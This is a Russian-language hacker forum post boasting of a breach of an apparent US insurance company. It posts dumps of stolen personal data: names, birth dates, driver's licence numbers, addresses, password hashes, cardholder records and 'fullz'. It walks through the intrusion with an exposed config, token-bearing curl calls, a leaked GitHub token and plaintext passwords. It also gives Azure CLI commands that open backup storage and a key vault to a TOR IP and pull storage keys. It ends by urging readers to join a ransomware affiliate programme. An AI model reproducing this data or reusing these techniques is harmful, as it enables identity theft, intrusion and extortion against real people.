"BusinessDDNNumber":  "888-444-4989",\r\n    "OfficeNumber":  "888-444-4989",\r\n    "SupervisorEmailAddress":  "nfleming@thezebra.com",\r\n    "SBUContactEmailAddress":  "licensing@thezebra.com",\r\n    "DepartmentNumber":  "",\r\n    "OfficeTollFree":  "888-444-4989",\r\n    "AgentId":  "alex.rojas@thezebra.com",\r\n    "NPN":  "",\r\n    "LicenseState":  "TX",\r\n    "LicenseNumber":  "1803533",\r\n    "IndividualStatus":  "Active",\r\n    "LicenseStatus":  "Active",\r\n    "LOAStatus":  "Active",\r\n    "DateOfHire":  "",\r\n    "AssocStartDate":  "",\r\n    "AssocEndDate":  "",\r\n    "AssocFirmFEIN":  ""\r\n,"AgencyID":"ZE00000001","Vendor":"zebra","VendorName":"zebra","OfficeTollFreeNumber":"888-444-4989"}', 'DateAdded': datetime.datetime(2020, 10, 12, 17, 3, 47, 410000), 'DateUpdated': datetime.datetime(2020, 10, 12, 17, 3, 47, 410000), 'AgencyID': 1, 'UserName': None}
{'ID': 3761, 'Brand': 'elephant', 'AccountDomain': 'direct', 'VendorAgentID': 'anichols@thezebra.com', 'IsActive': True, 'JSONData': '{\r\n    "LastName":  "Nichols",\r\n    "FirstName":  "Ashley",\r\n    "Address":  {\r\n                    "AddressLine1":  "2801 S Lakeline Blvd",\r\n                    "State":  "TX",\r\n                    "AddressLine2":  "",\r\n                    "ZipCode":  "78613",\r\n                    "City":  "Cedar Park"\r\n                },\r\n    "OfficialAddress":  {\r\n                            "AddressLine1":  "1801 E. 6th Street",\r\n                            "State":  "TX",\r\n                            "AddressLine2":  "Suite 200",\r\n                            "ZipCode":  "78702",\r\n                            "City":  "Austin"\r\n                        },\r\n    "BusinessEmailAddress":  "anichols@thezebra.com",\r\n    "BusinessDDNNumber":  "888-444-4989",\r\n    "OfficeNumber":  "888-444-4989",\r\n    "SupervisorEmailAddress":  "nfleming@thezebra.com",\r\n    "SBUContactEmailAddress":  "licensing@thezebra.com",\r\n    "DepartmentNumber":  "",\r\n    "OfficeTollFree":  "888-444-4989",\r\n    "AgentId":  "anichols@thezebra.com",\r\n    "NPN":  "",\r\n    "LicenseState":  "TX",\r\n    "LicenseNumber":  "2347518",\r\n    "IndividualStatus":  "Active",\r\n    "LicenseStatus":  "Active",\r\n    "LOAStatus":  "Active",\r\n    "DateOfHire":  "",\r\n    "AssocStartDate":  "",\r\n    "AssocEndDate":  "",\r\n    "AssocFirmFEIN":  ""\r\n,"AgencyID":"ZE00000001","Vendor":"zebra","VendorName":"zebra","OfficeTollFreeNumber":"888-444-4989"}', 'DateAdded': datetime.datetime(2020, 10, 12, 17, 3, 47, 410000), 'DateUpdated': datetime.datetime(2020, 10, 12, 17, 3, 47, 410000), 'AgencyID': 1, 'UserName': None}
{'ID': 8311, 'Brand': 'elephant', 'AccountDomain': 'direct', 'VendorAgentID': 'arobinson@thezebra.com', 'IsActive': True, 'JSONData': '{\r\n    "LastName":  "Robinson",\r\n    "FirstName":  "Anna",\r\n    "Address":  {\r\n                    "AddressLine1":  "",\r\n                    "State":  "",\r\n                    "AddressLine2":  "",\r\n                    "ZipCode":  "",\r\n                    "City":  ""\r\n                },\r\n    "OfficialAddress":  {\r\n                            "AddressLine1":  "1802 E. 6th Street Ste. 200",\r\n                            "State":  "TX",\r\n                            "AddressLine2":  "",\r\n                            "ZipCode":  "78702",\r\n                            "City":  "Austin"\r\n                        },\r\n    "BusinessEmailAddress":  "arobinson@thezebra.com",\r\n    "BusinessDDNNumber":  "512-948-2003",\r\n    "OfficeNumber":  "512-948-2003",\r\n    "SupervisorEmailAddress":  "licensing@thezebra.com",\r\n    "SBUContactEmailAddress":  "",\r\n    "DepartmentNumber":  "",\r\n    "OfficeTollFree":  "888-444-8949",\r\n    "AgentId":  "arobinson@thezebra.com",\r\n    "VendorName":  "zebra",\r\n    "NPN":  "17230807",\r\n    "LicenseState":  "TX",\r\n    "LicenseNumber":  "1906078",\r\n    "LicenseExpDate":  "6/30/2022",\r\n    "IndividualStatus":  "Active",\r\n    "LicenseStatus":  "Active",\r\n    "LOAStatus":  "Active",\r\n    "AssocStartDate":  "",\r\n    "AssocEndDate":  "",\r\n    "AssocFirmFEIN":  "",\r\n    "AgencyID":  "ZE00000001"\r\n}', 'DateAdded': datetime.datetime(2022, 2, 24, 0, 0), 'DateUpdated': datetime.datetime(2022, 2, 24, 8, 26, 23, 550000), 'AgencyID': 1, 'UserName': None}
{'ID': 3768, 'Brand': 'elephant', 'AccountDomain': 'direct', 'VendorAgentID': 'arojas@thezebra.com', 'IsActive': True, 'JSONData': '{\r\n    "LastName":  "Rojas Salas",\r\n    "FirstName":  "Ana",\r\n    "Address":  {\r\n                    "AddressLine1":  "196 Tobias St.",\r\n                    "State":  "TX",\r\n                    "AddressLine2":  "",\r\n                    "ZipCode":  "78610",\r\n                    "City":  "Buda"\r\n                },\r\n    "OfficialAddress":  {\r\n                            "AddressLine1":  "1801 E. 6th Street",\r\n                            "State":  "TX",\r\n                            "AddressLine2":  "Suite 200",\r\n                            "ZipCode":  "78702",\r\n                            "City":  "Austin"\r\n                        },\r\n    "BusinessEmailAddress":  "arojas@thezebra.com",\r\n    "BusinessDDNNumber":  "888-444-4989",\r\n    "OfficeNumber":  "888-444-4989",\r\n    "SupervisorEmailAddress":  "nfleming@thezebra.com",\r\n    "SBUContactEmailAddress":  "licensing@thezebra.com",\r\n    "DepartmentNumber":  "",\r\n    "OfficeTollFree":  "888-444-4989",\r\n    "AgentId":  "arojas@thezebra.com",\r\n    "NPN":  "",\r\n    "LicenseState":  "TX",\r\n    "LicenseNumber":  "2460356",\r\n    "IndividualStatus":  "Active",\r\n    "LicenseStatus":  "Active",\r\n    "LOAStatus":  "Active",\r\n    "DateOfHire":  "",\r\n    "AssocStartDate":  "",\r\n    "AssocEndDate":  "",\r\n    "AssocFirmFEIN":  ""\r\n,"AgencyID":"ZE00000001","Vendor":"zebra","VendorName":"zebra","OfficeTollFreeNumber":"888-444-4989"}', 'DateAdded': datetime.datetime(2020, 10, 12, 17, 3, 47, 410000), 'DateUpdated': datetime.datetime(2020, 10, 12, 17, 3, 47, 410000), 'AgencyID': 1, 'UserName': None}



UserAuth:
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'schema_version', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'users', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'sec_audit', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'oauth_client_details', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'oauth_code', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'groups', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'group_membership', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'external_group_mapping', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'expiring_code_store', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'authz_approvals', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'identity_zone', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'identity_provider', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'service_provider', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'revocable_tokens', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'user_info', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'mfa_providers', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'user_google_mfa_credentials', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'UserAuth', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'GoodPolicyData', 'TABLE_TYPE': 'BASE TABLE'}

Sample:
{'id': '0000242c-4a3a-4901-855b-1ae61570b1e4', 'created': datetime.datetime(2020, 5, 20, 23, 44, 57, 340000), 'lastmodified': datetime.datetime(2020, 5, 20, 23, 44, 57, 340000), 'version': 0, 'username': 'denzelgrays.dg@gmail.com', 'password': '$2a$10$4Fss7fMUA4wAQzNBwPLo5ObXJdxaUGKS8zuQsnyTXELgbefbuFDMW', 'email': 'denzelgrays.dg@gmail.com', 'givenname': 'Denzel', 'familyname': 'Grays', 'active': True, 'phonenumber': None, 'authorities': 'uaa.user', 'verified': True, 'origin': 'uaa', 'external_id': None, 'identity_zone_id': 'uaa', 'salt': None, 'passwd_lastmodified': datetime.datetime(2020, 5, 20, 23, 44, 57), 'legacy_verification_behavior': False, 'passwd_change_required': False, 'last_logon_success_time': 1595904443569, 'previous_logon_success_time': 1590018297658}
{'id': '000075A0-8A37-4144-88C5-851B98E3ECBF', 'created': datetime.datetime(2017, 5, 31, 13, 9, 49), 'lastmodified': datetime.datetime(2017, 5, 31, 13, 9, 49), 'version': 0, 'username': 'rociogarcia1962@hotmail.com', 'password': '$2a$10$Gpg.PlPpbKS6SHl7y1jRA.fyrGFeU4wrJjHYxaXT4Sp3aQZV5fd/q', 'email': 'rociogarcia1962@hotmail.com', 'givenname': 'Garcia', 'familyname': 'Rocio', 'active': True, 'phonenumber': None, 'authorities': 'uaa.user', 'verified': True, 'origin': 'uaa', 'external_id': None, 'identity_zone_id': 'uaa', 'salt': '1aa8cd39-3c43-47b5-ab9b-613655b4f479', 'passwd_lastmodified': datetime.datetime(2017, 5, 31, 13, 9, 49), 'legacy_verification_behavior': False, 'passwd_change_required': False, 'last_logon_success_time': None, 'previous_logon_success_time': None}
{'id': '00008CBF-28E9-4E14-9F00-919462A2CB0F', 'created': datetime.datetime(2017, 9, 5, 14, 9, 12), 'lastmodified': datetime.datetime(2018, 9, 8, 1, 48, 39, 710000), 'version': 0, 'username': 'ddelaware56@gmail.com', 'password': '$2a$10$Iq.GSTGFvINfJfv/b.wOkOw5xCGMq9rZcThfhxGRI7069BKlMO85S', 'email': 'ddelaware56@gmail.com', 'givenname': 'Delaware', 'familyname': 'Deborah', 'active': True, 'phonenumber': None, 'authorities': 'uaa.user', 'verified': True, 'origin': 'uaa', 'external_id': None, 'identity_zone_id': 'uaa', 'salt': '0f10196b-9469-4320-8b5f-a99aa9106092', 'passwd_lastmodified': datetime.datetime(2018, 9, 8, 1, 48, 39, 710000), 'legacy_verification_behavior': False, 'passwd_change_required': False, 'last_logon_success_time': 1594740150100, 'previous_logon_success_time': 1578410374680}
{'id': '0000903B-6DDE-487F-847D-DB36BF3364E1', 'created': datetime.datetime(2018, 5, 25, 20, 12, 24, 547000), 'lastmodified': datetime.datetime(2020, 6, 19, 18, 32, 3, 473000), 'version': 3, 'username': 'llshort17@gmail.com', 'password': '$2a$10$lUrE4S9qq9EX8qFjPT4ibuAU8VcH.WO0mXPZSZ0/Emkt4UCY.KAIG', 'email': 'llshort17@gmail.com', 'givenname': 'Laurie', 'familyname': 'Short', 'active': True, 'phonenumber': None, 'authorities': 'uaa.user', 'verified': True, 'origin': 'uaa', 'external_id': None, 'identity_zone_id': 'uaa', 'salt': None, 'passwd_lastmodified': datetime.datetime(2018, 11, 1, 18, 25, 33, 473000), 'legacy_verification_behavior': False, 'passwd_change_required': False, 'last_logon_success_time': 1647623605824, 'previous_logon_success_time': 1645319688944}
{'id': '00013099-21E0-4048-A80B-5E0D26A93A1E', 'created': datetime.datetime(2019, 6, 7, 14, 25, 10, 283000), 'lastmodified': datetime.datetime(2019, 6, 7, 14, 25, 10, 283000), 'version': 0, 'username': 'm.gray15@yahoo.com', 'password': '$2a$10$QkE8y6Cn2C2.YjEdGwRBBOyqCQJ0TmAFbxY116m9t7OAOme5OitWO', 'email': 'm.gray15@yahoo.com', 'givenname': 'Gray-Johnson', 'familyname': 'Mychelle', 'active': True, 'phonenumber': None, 'authorities': 'uaa.user', 'verified': True, 'origin': 'uaa', 'external_id': None, 'identity_zone_id': 'uaa', 'salt': '1bde0068-8c39-464d-a89e-95a56fc12848', 'passwd_lastmodified': datetime.datetime(2019, 6, 7, 14, 25, 10, 283000), 'legacy_verification_behavior': False, 'passwd_change_required': False, 'last_logon_success_time': 1566265770691, 'previous_logon_success_time': 1566233962097}
{'id': '000130A1-AF2E-45FF-85D2-35C08E6F05A1', 'created': datetime.datetime(2018, 3, 6, 19, 12, 33), 'lastmodified': datetime.datetime(2018, 3, 6, 19, 12, 33), 'version': 0, 'username': 'adonis98trent@gmail.com', 'password': '$2a$10$txhuklJHMOcrpPNWA96rverVheCp4vDPzVI9jyedLJ9wp2.Hm3FPe', 'email': 'adonis98trent@gmail.com', 'givenname': 'Trent', 'familyname': 'Devon', 'active': True, 'phonenumber': None, 'authorities': 'uaa.user', 'verified': True, 'origin': 'uaa', 'external_id': None, 'identity_zone_id': 'uaa', 'salt': '8b1a093e-89f1-4e59-9834-38246a686ef2', 'passwd_lastmodified': datetime.datetime(2018, 3, 6, 19, 12, 33), 'legacy_verification_behavior': False, 'passwd_change_required': False, 'last_logon_success_time': None, 'previous_logon_success_time': None}
{'id': '000150D7-2418-4FDE-977E-A21E76D8653A', 'created': datetime.datetime(2018, 3, 1, 21, 9, 49), 'lastmodified': datetime.datetime(2018, 3, 1, 21, 9, 49), 'version': 0, 'username': 'lynn20115@yahoo.com', 'password': '$2a$10$BfwCjMJF99tyNdQq0GI0kuylupyJe/f0x1CsS.oUf6E5WNFOuiyda', 'email': 'lynn20115@yahoo.com', 'givenname': 'Alexander', 'familyname': 'Sherry', 'active': True, 'phonenumber': None, 'authorities': 'uaa.user', 'verified': True, 'origin': 'uaa', 'external_id': None, 'identity_zone_id': 'uaa', 'salt': '5e58128e-1818-428b-bde7-3308788c6769', 'passwd_lastmodified': datetime.datetime(2018, 3, 1, 21, 9, 49), 'legacy_verification_behavior': False, 'passwd_change_required': False, 'last_logon_success_time': None, 'previous_logon_success_time': None}
{'id': '00016830-8F0F-464F-AA0C-3E5E952B8DD4', 'created': datetime.datetime(2018, 5, 24, 1, 25, 53, 990000), 'lastmodified': datetime.datetime(2021, 12, 6, 19, 5, 32, 117000), 'version': 0, 'username': 'philipaperez@gmail.com', 'password': '$2a$10$H/01d4MWS8DRYsd0oGB3yOgvtE8zf9TtpHlmCMXrS8eLfwj1T14lG', 'email': 'philipaperez@gmail.com', 'givenname': 'Perez', 'familyname': 'Philip', 'active': True, 'phonenumber': None, 'authorities': 'uaa.user', 'verified': True, 'origin': 'uaa', 'external_id': None, 'identity_zone_id': 'uaa', 'salt': '3807d3fb-5e3f-405d-85b5-5725fa933770', 'passwd_lastmodified': datetime.datetime(2021, 12, 6, 19, 5, 32), 'legacy_verification_behavior': False, 'passwd_change_required': False, 'last_logon_success_time': 1638817551724, 'previous_logon_success_time': 1633897137508}
{'id': '00018F7C-0D15-47DE-9032-9C7BA30076C8', 'created': datetime.datetime(2018, 6, 1, 7, 56, 32, 777000), 'lastmodified': datetime.datetime(2018, 6, 1, 7, 56, 32, 777000), 'version': 0, 'username': 'danieldelgado1327@gmail.com', 'password': '$2a$10$bx8l3aYqEpSgRiIaPKHcdOCK229b8qPMm1XSbIxJEG1B.13unB6D6', 'email': 'danieldelgado1327@gmail.com', 'givenname': 'DELGADO', 'familyname': 'DANIEL', 'active': True, 'phonenumber': None, 'authorities': 'uaa.user', 'verified': True, 'origin': 'uaa', 'external_id': None, 'identity_zone_id': 'uaa', 'salt': '61df4a96-7246-4760-b0d9-0b0017ec63d0', 'passwd_lastmodified': datetime.datetime(2018, 6, 1, 7, 56, 32, 777000), 'legacy_verification_behavior': False, 'passwd_change_required': False, 'last_logon_success_time': 1601412056610, 'previous_logon_success_time': 1585017198073}
{'id': '00022621-5A2C-4EE6-A605-4C411C38FC52', 'created': datetime.datetime(2018, 2, 26, 19, 10, 33), 'lastmodified': datetime.datetime(2020, 4, 29, 13, 3, 8, 637000), 'version': 1, 'username': 'booperbbl325@gmail.com', 'password': '$2a$10$aYsXPFbYENWlPPg/PWUgsOttsS4LEPuzPisah/M3tAljJXvNsvYLS', 'email': 'booperbbl325@gmail.com', 'givenname': 'LEWIS', 'familyname': 'BETTIE', 'active': True, 'phonenumber': None, 'authorities': 'uaa.user', 'verified': True, 'origin': 'uaa', 'external_id': None, 'identity_zone_id': 'uaa', 'salt': 'f4d698c6-0f4e-4551-b06f-8cfc71947035', 'passwd_lastmodified': datetime.datetime(2020, 4, 24, 13, 31, 54), 'legacy_verification_behavior': False, 'passwd_change_required': False, 'last_logon_success_time': 1626039237036, 'previous_logon_success_time': 1625667700198}


Код:
Full Name|DOB|email|phone|address|state|DL num
Mike Manire|1971-06-16|Gakhaos@gmail.com|Unknown|116 Brooksdale Dr, Unknown, Warner Robins, 31088, GA|GA|030709262
Jesse Manire|2004-01-12|Gakhaos@gmail.com|Unknown|Unknown, Unknown, Unknown, -1, NA|GA|061411700
Tina Hoilman|1975-09-26|jimcasey591@gmail.com|423-948-8041|128 country village drive, Unknown, Limestone, 37681, TN|TN|078687029
Tommie Vaughn|1954-10-26|vaughntommie@yahoo.com|Unknown|2017 Laura st, #984, CADDO MILLS, 75135, TX|TX|07316716
Austin Ford|1999-11-29|aford6236@gmail.com|Unknown|210 Hilltop Dr, Unknown, Hartsville, 37074, TN|TN|139550668
У вас должно быть более 60 сообщений для просмотра скрытого контента.

Вы должны провести 365 дней на форуме для просмотра контента.



JSON:
{"CardholderFirstName": "KATHRYN", "CardholderLastName": "HILDERBRAND", "BillingAddressLine1": "31 N Kingsbridge Pl", "BillingAddressLine2": "Apt A", "BillingCity": "Chesapeake", "BillingStateCode": "VA", "BillingZipCode": "23322", "ExpirationMonth": "10", "ExpirationYear": "2020"}
{"CardholderFirstName": "MARTIN", "CardholderLastName": "GIDDENS", "BillingAddressLine1": "7589 Shields Drive", "BillingAddressLine2": null, "BillingCity": "FREDERICK", "BillingStateCode": "MD", "BillingZipCode": "21704", "ExpirationMonth": "6", "ExpirationYear": "2019"}
{"CardholderFirstName": "JUDITH", "CardholderLastName": "KLINE", "BillingAddressLine1": "1255 W Ocean View Ave Apt 3", "BillingAddressLine2": null, "BillingCity": "Norfolk", "BillingStateCode": "VA", "BillingZipCode": "23503", "ExpirationMonth": null, "ExpirationYear": null}
{"CardholderFirstName": "DAVETTE", "CardholderLastName": "CHENEY", "BillingAddressLine1": "7913 Park Ridge Dr", "BillingAddressLine2": null, "BillingCity": "FORT WORTH", "BillingStateCode": "TX", "BillingZipCode": "76137", "ExpirationMonth": "6", "ExpirationYear": "2018"}
У вас должно быть более 60 сообщений для просмотра скрытого контента.

Вы должны провести 365 дней на форуме для просмотра контента.




Код:
"id","created","username","password","email","givenname","familyname","active","phonenumber","verified","salt"
"0000242c-4a3a-4901-855b-1ae61570b1e4",2020-05-20 23:44:57.340,denzelgrays.dg@gmail.com,$2a$10$4Fss7fMUA4wAQzNBwPLo5ObXJdxaUGKS8zuQsnyTXELgbefbuFDMW,denzelgrays.dg@gmail.com,Denzel,Grays,1,,1,
"000075A0-8A37-4144-88C5-851B98E3ECBF",2017-05-31 13:09:49.000,rociogarcia1962@hotmail.com,$2a$10$Gpg.PlPpbKS6SHl7y1jRA.fyrGFeU4wrJjHYxaXT4Sp3aQZV5fd/q,rociogarcia1962@hotmail.com,Garcia,Rocio,1,,1,"1aa8cd39-3c43-47b5-ab9b-613655b4f479"
У вас должно быть более 60 сообщений для просмотра скрытого контента.

Вы должны провести 365 дней на форуме для просмотра контента.




Azure users, secrets, containers:


Logs:


Full fullz (Credit score, middle name, +/- SSN parsed):
Код:
Jason Meyer (C)|1982-08-13|NM|122893740|jasomeye@gmail.com; jasoncmeyer33@gmail.com|000-000-0000|96 - E1|4350 Trinity Mills Road, Unknown, Dallas, 75287, TX; 4350 Trinity Mills Road Apt 3204, Unknown, Dallas, 75287, TX
Joseph Bartley (D)|1978-12-07|TX|02555485|unknown|Unknown|108 - NA|1389 US Hwy 79 N, Unknown, Carthage, 75633, TX
Donald Williams (P)|1982-12-23|VA|T65446437|bubs3luvs@aol.com|804-252-6722|104 - F1|13933 Happy Hill Road, Unknown, Chester, 23831, VA
Uploading, 28 Gb....
 

Вложения

  • azure_dat.zip
    37.9 КБ · Просмотры: 41
  • confs.zip
    6.7 КБ · Просмотры: 33
История взлома столь жалкой компании и жадного СЕО.
На одной из endpoint (https://*.elephant.com/prod/config.json) я нашёл открытый конфиг:
JSON:
{
  "level": "error",
  "pingTest": "enabled",

  "lifePlanLink": "http://www.elephant.com/life-insurance/get-a-quote",
  "motorcyclePlanLink": "http://www.elephant.com/motorcycle-insurance",
  "homeownersInsurancePlanLink": "http://www.elephant.com/homeowners-insurance",
  "rentersInsurancePlanLink": "http://www.elephant.com/renters-insurance",
  "condoInsurancePlanLink": "http://www.elephant.com/condo-insurance",

  "environment": "prod",
  "googleTagManagerID" : "dunno",
  "segmentIOId" : "77HOeGtbeJ73heqNUsEtBSFMpWfxcRzD",
  "logglyApi": "******************",
  "logglyEndpoint": "elephantllc",
  "appDynamicsId": "AD-AAB-AAA-BWN",

  "signOutUrl": "http://elephant.com/lp/multi-policy-discount",
  "learnMoreUrl": "https://elephant.com/car-insurance/myelephant/help-guide/getting-started",
  "apiBaseRoute": "https://customer-portal-api.elephant.com/api/",
  "pcBaseRoute": "https://customer-portal-api.elephant.com/api/proxy/pc/",
  "bcBaseRoute": "https://customer-portal-api.elephant.com/api/proxy/bc/",

  "interceptBaseRoutes" : false
}

Сендим тестовый запрос:
curl -v -H 'Authorization: bearer ***' 'https://elephantllc.loggly.com/apiv2/events/iterate?q=*&from=-10m&until=now&size=10'
-- Гениально: < HTTP/2 200

Из всех логов аля:
["user_id=193d9c72-60c6-49fd-a3c3-08225d32a542","username=Jaydenmarie87t@icloud.com"]

Попался:
2023-09-11T11:09:25.498192-04:00 VAINTMSDKRCI1C7 sudo - - [*******@64103 tag="RsyslogTLS"] provisioningaccount@Admiral.local : TTY=unknown ; PWD=/home/provisioningaccount@Admiral.local ; USER=root ; COMMAND=/bin/curl -u ElephantToken:ghp_************ https://raw.githubusercontent.com/elephant-insurance/devops/master/Containers/OnPremises/Deployment/ApplicationScripts/DeployPricingContainer.sh --output /etc/DeployPricingContainer.sh
-- Гениально

Тестим:
JSON:
{
  "login": "ElephantToken",
  "id": 33835466,
  "node_id": "MDQ6VXNlcjMzODM1NDY2",
  "avatar_url": "https://avatars.githubusercontent.com/u/33835466?v=4",
  "gravatar_id": "",
  "url": "https://api.github.com/users/ElephantToken",
  "html_url": "https://github.com/ElephantToken",
  "followers_url": "https://api.github.com/users/ElephantToken/followers",
  "following_url": "https://api.github.com/users/ElephantToken/following{/other_user}",
  "gists_url": "https://api.github.com/users/ElephantToken/gists{/gist_id}",
  "starred_url": "https://api.github.com/users/ElephantToken/starred{/owner}{/repo}",
  "subscriptions_url": "https://api.github.com/users/ElephantToken/subscriptions",
  "organizations_url": "https://api.github.com/users/ElephantToken/orgs",
  "repos_url": "https://api.github.com/users/ElephantToken/repos",
  "events_url": "https://api.github.com/users/ElephantToken/events{/privacy}",
  "received_events_url": "https://api.github.com/users/ElephantToken/received_events",
  "type": "

Дампим:
Код:
ABPortal
Agency
analytics
ancillary-api
AnsrClaimsUploadApp
AnsrClaimsUploadFuncApp
architecture
AutoDocs
az-geo-data
AZURE
azure-apparent-fnol-webapp
azure-apparent-mypolicy-webapp
azure-apparent-quotes-webapp
azure-apparent-router
azure-apparent-web-coverage-verify-webapp
azure-apparent-web-customer-portal-webapp
azure-apparent-web-login-webapp
azure-application-insights
azure-availability
azure-bingadsapp
azure-bingads-webjob
azure-cdn
azure-claimsportal-webapp
azure-elephant-router
azure-environment-setup
azure-fnol-webapp
azure-ftp-setup
azure-fx-bind-complete
azure-fx-exacttargetsender
azure-fx-export
azure-fx-message
azure-fx-quote-abandon-email
azure-fx-quote-sameday-email
azure-fx-quote-session-timeout-event
azure-fx-quote-session-timeout-timer
azure-fx-root
azure-fx-root-triggers
azure-fx-shift
azure-iac
azure-internal-service-monitioring
azure-kubernetes
azure-liberty-quotes-webapp
azure-log
azure-logicapps

Прямо внутри книга "Best SecDevOps Practices":
Код:
...
   "influx_db": {
      "host": "ec2-54-242-124-122.compute-1.amazonaws.com",
      "db_name": "webdb",
      "username": "webquote",
      "password": "Ele4phant7"
....

linuxAutomationAccount - Randomp@ssw0rd
infoPCTransCS - Loadth3Dat@

...

Токены азура, доступ к БД.

Docker:
Код:
ms-title-record "/bin/sh -c /root/ms-title-record"
ms-driver-record        "/bin/sh -c /root/ms-driver-record"
ms-data-prefill "/bin/sh -c /root/ms-data-prefill"
ms-agent-identity       "/bin/sh -c /root/ms-agent-identity"
ms-ratabase     "/bin/sh -c /usr/local/ms-ratabase/ms-ratabase"
ms-vin-rating   "/bin/sh -c /root/ms-vin-rating"
ms-polk-data    "/bin/sh -c /root/ms-polk-data"
ms-claim-byphone        "/bin/sh -c /usr/local/ms-claim-byphone/ms-claim-byphone"
ms-rcpos        "/bin/sh -c /usr/local/ms-rcpos/ms-rcpos"
ms-vehicle-score        "/bin/sh -c /usr/local/ms-vehicle-score/ms-vehicle-score"

Azure:
az login --service-principal --username a*** --password o*** --tenant 9***
az storage account network-rule add --resource-group "EnterpriseBackups" --account-name "elephantbackup" --ip-address "TOR_IP"
az keyvault network-rule add --resource-group "devops-vault-eastus-rg-prod" --account-name "devops-vault-eastus-prod" --ip-address "TOR_IP"
storageAccountKeys=$(az storage account keys list --account-name bingarchive --resource-group it-e-bingadapi-eastus-prod-rg | jq ".[0].value") echo $storageAccountKeys


В итоге имеем: DocControl.bak, AuthUser.bak, Contacts.bak тоталом около 200 Гб БД. Где плейнтекстом: VIN, Driver License, email, address, credit score, full name (include middle name)
Скажу больше - конфиг все ещё доступен, убрали только некоторые логи) Но пендосам посрать, их данные это как мусор. К сожалению я не удалял, не лочил их. А надо было.

Итог: ищите партнерку, шифруйте и получайте большие деньги. Учите компании следить за безопасностью и данными их пользователей.
 
И пожалуй обновлю линки т-к экспа ожила.

2.900.000+ данны о их СС
JSON:
{"CardholderFirstName": "BRIAN", "CardholderLastName": "PRICE", "BillingAddressLine1": "1031 Summerplace Ln", "BillingAddressLine2": null, "BillingCity": "Southlake", "BillingStateCode": "TX", "BillingZipCode": "76092", "ExpirationMonth": "05", "ExpirationYear": "2023"}
{"CardholderFirstName": "RONALDO", "CardholderLastName": "DELILE", "BillingAddressLine1": "12443 Lake Whitney", "BillingAddressLine2": null, "BillingCity": "San Antonio", "BillingStateCode": "TX", "BillingZipCode": "78253", "ExpirationMonth": "4", "ExpirationYear": "2023"}
{"CardholderFirstName": "ACEY", "CardholderLastName": "SWINTON", "BillingAddressLine1": "21075 Briar Patch Ln", "BillingAddressLine2": null, "BillingCity": "Lexington Park", "BillingStateCode": "MD", "BillingZipCode": "20653", "ExpirationMonth": "02", "ExpirationYear": "2021"}
{"CardholderFirstName": "QIANA", "CardholderLastName": "CUMMINGS-JOHNSON", "BillingAddressLine1": "5600 Bentley Ct", "BillingAddressLine2": "204", "BillingCity": "Virginia Beach", "BillingStateCode": "VA", "BillingZipCode": "23462", "ExpirationMonth": "08", "ExpirationYear": "2024"}
{"CardholderFirstName": "ERICA", "CardholderLastName": "BOISSEAU", "BillingAddressLine1": "212 W 33rd St", "BillingAddressLine2": null, "BillingCity": "Richmond", "BillingStateCode": "VA", "BillingZipCode": "23225", "ExpirationMonth": "10", "ExpirationYear": "2022"}
{"CardholderFirstName": "TERESA", "CardholderLastName": "GIBSON", "BillingAddressLine1": "167 Labrador Ln", "BillingAddressLine2": null, "BillingCity": "Hallsville", "BillingStateCode": "TX", "BillingZipCode": "75650", "ExpirationMonth": "03", "ExpirationYear": "2022"}
{"CardholderFirstName": "JASON", "CardholderLastName": "CARLSON", "BillingAddressLine1": "2012 Timbers Hill Rd", "BillingAddressLine2": "Apt G", "BillingCity": "North Chesterfield", "BillingStateCode": "VA", "BillingZipCode": "23235", "ExpirationMonth": "03", "ExpirationYear": "2023"}
{"CardholderFirstName": "LOTA B", "CardholderLastName": "TUAZON", "BillingAddressLine1": "4614 Mason Ct", "BillingAddressLine2": null, "BillingCity": "Sugar Land", "BillingStateCode": "TX", "BillingZipCode": "77479", "ExpirationMonth": "8", "ExpirationYear": "2025"}
